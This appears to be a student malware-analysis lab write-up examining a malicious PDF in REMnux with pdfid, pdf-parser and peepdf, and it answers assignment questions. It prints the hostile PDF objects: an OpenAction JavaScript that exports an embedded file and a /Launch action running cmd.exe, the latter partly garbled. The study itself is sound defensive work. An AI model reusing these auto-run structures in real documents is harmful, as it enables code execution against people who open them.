


## Malicious PDF File Analysis - No. 6

### StaticAnalysis:

Used text editor to see the pdf file.



The screenshot shows a REMnux virtual machine running Oracle VM VirtualBox. The SciTE Text Editor is open, displaying the raw PDF code for 'chapter1.pdf'. The code is a PDF dictionary starting with '%PDF-1.0' and containing 12 objects. The objects are defined as follows:

```
1 chapter1.pdf
%PDF-1.0
1 0 obj
<<
  /Pages 2 0 R
  /Type /Catalog
>>
endobj
2 0 obj
<<
  /Count 1
  /Kids [ 3 0 R ]
  /Type /Pages
>>
endobj
3 0 obj
<<
  /Contents 4 0 R
  /Parent 2 0 R
  /Resources <<
    /Font <<
      /F1 <<
        /Type /Font
        /Subtype /Type1
        /BaseFont /Helvetica
        /Name /F1
      >>
    >>
  >>
  /Type /Page
  /MediaBox [ 0 0 795 842 ]
>>
endobj
4 0 obj
<<
  /Length 0
>>stream
endstream
endobj
xref
0 5
0000000000 65535 f
0000000010 00000 n
0000000067 00000 n
0000000136 00000 n
0000000373 00000 n
trailer
<<
  /Root 1 0 R
  /Size 5
  /Info 0 0 R
>>
startxref
429
%%EOF
5 0 obj
<< /EmbeddedFiles 6 0 R >>
endobj
6 0 obj
<< /Names [ (template) 7 0 R ] >>
```

pdf contains 12 objects.

The

```
endstream
endobj
9 0 obj
<</S/JavaScript/S(this.exportDataObject({ cName: "template", nLaunch: 0 }));/Type/Action>>
endobj
10 0 obj
<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\windows\\system32)/P/Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\\template.pdf" (


982682 SECRET@#)>>>>
endobj
1 0 obj
<<
  /Pages 2 0 R/Names 5 0 R/OpenAction 9 0 R
  /Type /Catalog
>>
endobj
3 0 obj
<<
  /Contents 4 0 R
  /Parent 2 0 R
  /Resources <<
    /Font <<
      /F1 <<
        /Type /Font
        /Subtype /Type1
        /BaseFont /Helvetica
        /Name /F1
      >>
    >>
  >>
  /Type /Page
  /MediaBox [ 0 0 795 842 ]
/AA<</O 10 0 R>>>>
endobj
xref
5 6
0000000618 00000 n
0000000658 00000 n
0000000701 00000 n
0000000798 00000 n
0000044993 00000 n
0000045100 00000 n
1 1
0000045551 00000 n
3 1
0000045636 00000 n
trailer
<</Size 11/Prev 429/Root 1 0 R/Info 0 0 R>>
startxref
45888
%%EOF
```

The pdf has Javascript that is called to export a file name “template”.

In the doc file, use the text editor to see its content. The VBA script part shows the function “AutoOpen” which means the script will run automatically.

## 1. Report the number of objects in the file.


There are 12 objects in the given pdf file. To find the number of objects I used the pdfid.py command.



```
remnux@remnux:~$ cd Downloads
remnux@remnux:~/Downloads$ pdfid chapter1.pdf
pdfid: command not found
remnux@remnux:~/Downloads$ pdfid chapter1.pdf
pdfid: command not found
remnux@remnux:~/Downloads$ pdfid.py chapter1.pdf
PDFiD 0.2.8 chapter1.pdf
PDF Header: %PDF-1.0
obj 12
endobj 12
stream 2
endstream 2
xref 2
trailer 2
startxref 2
/Page 2
/Encrypt 0
/ObjStm 0
/JS 1
/JavaScript 1
/AA 1
/OpenAction 1
/AcroForm 0
/JBIG2Decode 0
/RichMedia 0
/Launch 1
/EmbeddedFile 0
/XFA 0
/URI 0
/Colors > 2^24 0
```

## 2. Determine whether the file is compressed or not.

I used pdf-parser tool to check whether the file is compressed or not. There's no \Filter used in any of the object. So, it's clear that the file is not compressed.



```
REMnux [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help
Activities Terminal Oct 8 18:38
remnux@remnux: ~/Downloads

remnux@remnux:~/Downloads$ pdf-parser.py chapter1.pdf
PDF Comment '%PDF-1.0\r\n'

obj 1 0
Type: /Catalog
Referencing: 2 0 R

<<
  /Pages 2 0 R
  /Type /Catalog
>>

obj 2 0
Type: /Pages
Referencing: 3 0 R

<<
  /Count 1
  /Kids [ 3 0 R ]
  /Type /Pages
>>

obj 3 0
Type: /Page
Referencing: 4 0 R, 2 0 R

<<
  /Contents 4 0 R
  /Parent 2 0 R
  /Resources
    <<
      /Font
        <<
          /F1
            <<
              /Type /Font
              /Subtype /Type1
              /BaseFont /Helvetica
              /Name /F1
            >>
          >>
        >>
      >>
    >>
  /Type /Page
  /MediaBox [ 0 0 795 842 ]
>>
```

REMnux [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Activities Terminal Oct 8 18:38

remnux@remnux: ~/Downloads

```
obj 4 0
Type:
Referencing:
Contains stream

<<
  /Length 0
>>

xref

trailer
<<
  /Root 1 0 R
  /Size 5
  /Info 0 0 R
>>

startxref 429

PDF Comment '%%EOF\r\n'

obj 5 0
Type:
Referencing: 6 0 R

<<
  /EmbeddedFiles 6 0 R
>>

obj 6 0
Type:
Referencing: 7 0 R


<<
  /Names [(template)7 0 R]
>>

obj 7 0
Type: /Filespec
Referencing: 8 0 R

<<
  /UF (template.pdf)
>>
```

Downloads remnux@remnux: ~/Downloads 1/2

Right Ctrl



```
REMnux [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help
Activities Terminal Oct 8 18:39
remnux@remnux: ~/Downloads

obj 1 0
Type: /Catalog
Referencing: 2 0 R, 5 0 R, 9 0 R

<<
  /Pages 2 0 R
  /Names 5 0 R
  /OpenAction 9 0 R
  /Type /Catalog
>>

obj 3 0
Type: /Page
Referencing: 4 0 R, 2 0 R, 10 0 R

<<
  /Contents 4 0 R
  /Parent 2 0 R
  /Resources
    <<
      /Font
        <<
          /F1
            <<
              /Type /Font
              /Subtype /Type1
              /BaseFont /Helvetica
              /Name /F1
            >>
          >>
        >>
      >>
    >>
  /Type /Page
  /MediaBox [ 0 0 795 842 ]
  /AA
    <<
      /O 10 0 R
    >>
  >>

xref

trailer
<<
  /Size 11
  /Prev 429
>>

/Root 1 0 R
/Info 0 0 R
>>

startxref 45888

PDF Comment '%%EOF\r\n'


remnux@remnux: ~/Downloads$
```

### 3. Determine whether the file is obfuscated or not.

```
remnux@remnux:~/Downloads$ pdf-parser.py --search javascript chapter1.pdf
obj 9 0
Type: /Action
Referencing:

<<
  /S /JavaScript
  /JS (this.exportDataObject({ cName: "template", nLaunch: 0 }));)
/Type /Action
>>
```

To search for the JavaScript code I used `pdf-parser.py --search javascript chapter1.pdf`. If the tool does not identify any obfuscation, we should have a **S** result for the objects where JavaScript is being embedded. In the given file we have **S** result. So, there's no obfuscation.



```
REMnux [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help
Activities Terminal Oct 8 19:20
remnux@remnux: ~/Downloads

remnux@remnux:~/Downloads$ peepdf chapter1.pdf
Warning: PyV8 is not installed!!

File: chapter1.pdf
MD5: cfb518fba76577c1cfdc7aaf7b4652e6
SHA1: 6dc457d1ec222ada21f164053e9238659cefa459
SHA256: 97ed846ddd8fee67e034921b03dafcff3ff609e91154a5db0ab6ad9dcb06cd9d
Size: 46148 bytes
Version: 1.0
Binary: False
Linearized: False
Encrypted: False
Updates: 1
Objects: 12
Streams: 2
URIs: 0
Comments: 0
Errors: 0


Version 0:
  Catalog: 1
  Info: 0
  Objects (4): [1, 2, 3, 4]
  Streams (1): [4]
    Encoded (0): []

Version 1:
  Catalog: 1
  Info: 0
  Objects (8): [1, 3, 5, 6, 7, 8, 9, 10]
  Streams (1): [8]
    Encoded (1): [8]
  Objects with JS code (1): [9]
  Suspicious elements:
    /OpenAction (1): [1]
    /Names (2): [6, 1]
    /AA (1): [3]
    /JS (1): [9]
    /Launch (1): [10]
    /JavaScript (1): [9]
    /EmbeddedFiles: [5]
```



I have also used peepdf command to determine whether the file is obfuscated or not. From the above Figure, object[9] has javascript but it not encoded(obfuscated) and only object[8] is encoded. So, the file is not obfuscated.

#### 4. Find and Extract JavaScript.




```
remnux@remnux: ~/Downloads
remnux@remnux:~/Downloads$ peepdf chapter1.pdf
Warning: PyV8 is not installed!!

File: chapter1.pdf
MD5: cfb518fba76577c1cfdc7aaf7b4652e6
SHA1: 6dc457d1ec222ada21f164053e9238659cefa459
SHA256: 97ed846ddd8fee67e034921b03dafcff3ff609e91154a5db0ab6ad9dcb06cd9d
Size: 46148 bytes
Version: 1.0
Binary: False
Linearized: False
Encrypted: False
Updates: 1
Objects: 12
Streams: 2
URIs: 0
Comments: 0
Errors: 0

Version 0:
  Catalog: 1
  Info: 0
  Objects (4): [1, 2, 3, 4]
  Streams (1): [4]
  Encoded (0): []


Version 1:
  Catalog: 1
  Info: 0
  Objects (8): [1, 3, 5, 6, 7, 8, 9, 10]
  Streams (1): [8]
  Encoded (1): [8]
  Objects with JS code (1): [9]
  Suspicious elements:
    /OpenAction (1): [1]
    /Names (2): [6, 1]
    /AA (1): [3]
    /JS (1): [9]
    /Launch (1): [10]
    /JavaScript (1): [9]
    /EmbeddedFiles: [5]
```

I used the peepdf command. From the figure above it is evident that object[9] contains Javascript.



```
remnux@remnux: ~/Downloads
remnux@remnux:~/Downloads$ pdf-parser.py -c chapter1.pdf --object 9 --filter --raw > object.raw
remnux@remnux:~/Downloads$ ls -lh object.raw
-rw-rw-r-- 1 remnux remnux 440 Oct  8 20:17 object.raw
remnux@remnux:~/Downloads$
```

By using the pdf-parser command, I have extracted object[9] which is suspected and contain Javascript.



```
obj 9 0
Type: /Action
Referencing:

<</S/JavaScript/JS(this.exportDataObject({ cName: "template", nLaunch: 0 }));/Type/Action>>

<<
  /S /JavaScript
  /JS (this.exportDataObject({ cName: "template", nLaunch: 0 }));
  /Type /Action
>>

<</S/JavaScript/JS(this.exportDataObject({ cName: "template", nLaunch: 0 }));/Type/Action>>
<</S/JavaScript/JS(this.exportDataObject({ cName: "template", nLaunch: 0 }));/Type/Action>>
```

The above Figure shows the JavaScript extracted from object[9].

## 5. De-obfuscate JavaScript.

The extracted Javascript is not obfuscated. From the Figure below, object 9 contains Javascript But it is not encoded i.e., it is not obfuscated. There is nothing embedded into the Javascript. So, we couldn't de-obfuscate Javascript.

```
remnux@remnux: ~/Downloads
remnux@remnux:~/Downloads$ peepdf chapter1.pdf
Warning: PyV8 is not installed!!

File: chapter1.pdf
MD5: cfb518fba76577c1cfdc7aaf7b4652e6
SHA1: 6dc457d1ec222ada21f164053e9238659cefa459
SHA256: 97ed846ddd8fee67e034921b03dafcff3ff609e91154a5db0ab6ad9dcb06cd9d
Size: 46148 bytes
Version: 1.0
Binary: False
Linearized: False
Encrypted: False
Updates: 1
Objects: 12
Streams: 2
URIs: 0
Comments: 0
Errors: 0

Version 0:
  Catalog: 1
  Info: 0
  Objects (4): [1, 2, 3, 4]
  Streams (1): [4]
  Encoded (0): []

Version 1:
  Catalog: 1
  Info: 0
  Objects (8): [1, 3, 5, 6, 7, 8, 9, 10]
  Streams (1): [8]
  Encoded (1): [8]
  Objects with JS code (1): [9]
  Suspicious elements:
    /OpenAction (1): [1]
    /Names (2): [6, 1]
    /AA (1): [3]
    /JS (1): [9]
    /Launch (1): [10]
    /JavaScript (1): [9]
    /EmbeddedFiles: [5]
```

## 6. Extract the shell code.

The shellcode needs to be extracted from the de-obfuscated Javascript. As we couldn't de-obfuscate Javascript we couldn't extract shellcode.

**Q6-Q8)** We couldn't go with further analysis without the shellcode.

## 9. What is the secret code?

The secret code is **982682 SECRET@#**.